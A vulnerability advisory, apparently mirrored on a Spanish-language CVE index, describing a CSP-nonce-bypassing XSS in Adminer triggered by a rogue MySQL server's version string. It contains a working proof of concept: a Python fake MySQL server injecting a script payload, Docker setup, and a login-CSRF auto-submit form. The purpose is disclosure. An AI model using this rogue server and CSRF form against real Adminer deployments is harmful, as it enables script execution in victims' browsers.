GHSA-H6JR-7PR6-GRGJ
XSS via Rogue MySQL Server Version String (CSP Nonce Bypass)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-H6JR-7PR6-GRGJ divulgada · CVSS 6.1 (GitHub) | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
Summary
Adminer inserts the database server's version string into a `<script>` tag that carries a valid CSP nonce, without any sanitization. A rogue database server can return a crafted version string that breaks out of the JavaScript context and executes arbitrary code. Because the script tag already has a valid nonce, the browser's Content Security Policy does not block execution. No authentication is required when combined with Login CSRF.
Prerequisites
- Target runs Adminer
- Attacker controls a reachable MySQL server (a 80-line Python script)
Root Cause
`adminer.inc.php`, line 1081:
echo script("syntaxHighlighting('" . preg_replace('~^(\d\.?\d).*~s', '\1', connection()->server_info) . "', '" . connection()->flavor . "');");`script()` wraps the output in `<script nonce="VALID_NONCE">`. The `preg_replace` regex expects a standard version like `5.7.38` and extracts the first two digits. When the version string does NOT start with `digit` + `digit or dot`, the regex fails to match and `preg_replace` returns the original string unchanged.
Steps To Reproduce
1. Build the environment
Dockerfile (Adminer):
FROM php:8.3-cli
COPY adminer.php /var/www/adminer.php
WORKDIR /var/www
EXPOSE 8081
CMD ["php", "-S", "0.0.0.0:8081"]rogue_mysql.py (fake MySQL server that accepts any login):
import socket, struct, threading
PAYLOAD = "1');alert(origin)//"
# Capability flags the client expects
CAP_PROTOCOL_41 = 0x0200
CAP_SECURE_CONNECTION = 0x8000
CAP_PLUGIN_AUTH = 0x00080000
CAPS_LOW = CAP_PROTOCOL_41 | CAP_SECURE_CONNECTION
CAPS_HIGH = (CAP_PLUGIN_AUTH >> 16)
def make_packet(seq, payload):
length = struct.pack("<I", len(payload))[:3]
return length + bytes([seq]) + payload
def make_greeting(version_str):
pkt = b"\x0a" # protocol version 10
pkt += version_str.encode() + b"\x00" # version string
pkt += struct.pack("<I", 1) # connection id
pkt += b"\x41" * 8 # auth plugin data part 1
pkt += b"\x00" # filler
pkt += struct.pack("<H", CAPS_LOW) # capability flags lower
pkt += b"\x21" # charset utf8
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", CAPS_HIGH) # capability flags upper
pkt += b"\x15" # auth data length (21)
pkt += b"\x00" * 10 # reserved
pkt += b"\x41" * 12 + b"\x00" # auth plugin data part 2
pkt += b"mysql_native_password\x00" # auth plugin name
return make_packet(0, pkt)
def make_ok(seq):
pkt = b"\x00" # OK marker
pkt += b"\x00" # affected rows
pkt += b"\x00" # last insert id
pkt += struct.pack("<H", 0x0002) # status flags
pkt += struct.pack("<H", 0) # warnings
return make_packet(seq, pkt)
def make_eof(seq):
pkt = b"\xfe"
pkt += struct.pack("<H", 0) # warnings
pkt += struct.pack("<H", 0x0002) # status flags
return make_packet(seq, pkt)
def make_err(seq, msg=b"not supported"):
pkt = b"\xff"
pkt += struct.pack("<H", 1045)
pkt += b"#HY000"
pkt += msg
return make_packet(seq, pkt)
def handle(conn):
conn.sendall(make_greeting(PAYLOAD))
try:
conn.recv(4096) # client login request
except Exception:
conn.close()
return
conn.sendall(make_ok(2)) # accept login
# Answer any queries Adminer sends after login
while True:
try:
data = conn.recv(4096)
if not data:
break
seq = data[3] + 1
# Send ERR for all queries (Adminer still has the version in memory)
conn.sendall(make_err(seq))
except Exception:
break
conn.close()
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("0.0.0.0", 3307))
srv.listen(5)
print("[*] Rogue MySQL on :3307 - version: " + PAYLOAD)
while True:
conn, addr = srv.accept()
print(f"[+] Connection from {addr}")
threading.Thread(target=handle, args=(conn,)).start()# Terminal 1: start Adminer
docker build -t adminer-xss .
docker run -d -p 8081:8081 --name adminer-xss adminer-xss
# Terminal 2: start rogue MySQL
python3 rogue_mysql.py2. Trigger the XSS
Open a browser and navigate to `http://localhost:8081/adminer.php`:
- Select driver: MySQL
- Server: `HOST_IP:3307` (IP of the machine running rogue_mysql.py)
- Username: `root`
- Password: `x`
- Click Login.
The rogue server accepts the login. Adminer renders the dashboard and includes:
<script nonce="REAL_NONCE">syntaxHighlighting('1');alert(origin)//', 'mysql');</script>The browser executes `alert(origin)` with full CSP bypass because the script tag carries a valid nonce.
3. Trigger it via Login CSRF
The login form has no CSRF token. An attacker page auto-submits the login, forcing the victim's browser to connect to the rogue server:
<form id="f" method="POST" action="http://TARGET/adminer.php">
<input name="auth[driver]" value="server">
<input name="auth[server]" value="ROGUE_IP:3307">
<input name="auth[username]" value="root">
<input name="auth[password]" value="x">
</form>
<script>document.getElementById('f').submit()</script>## Collaborator Request
This vulnerability was discovered jointly with Yashar Shahinzadeh (GitHub: @voorivex https://github.com/voorivex). Could you please add him as a collaborator on this advisory and credit him as a co-discoverer? Thank you!
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistvrana/adminer |
Sin parche | — | — | — |
Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/vrana/adminer/security/advisories/GHSA-h6jr-7pr6-grgjLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
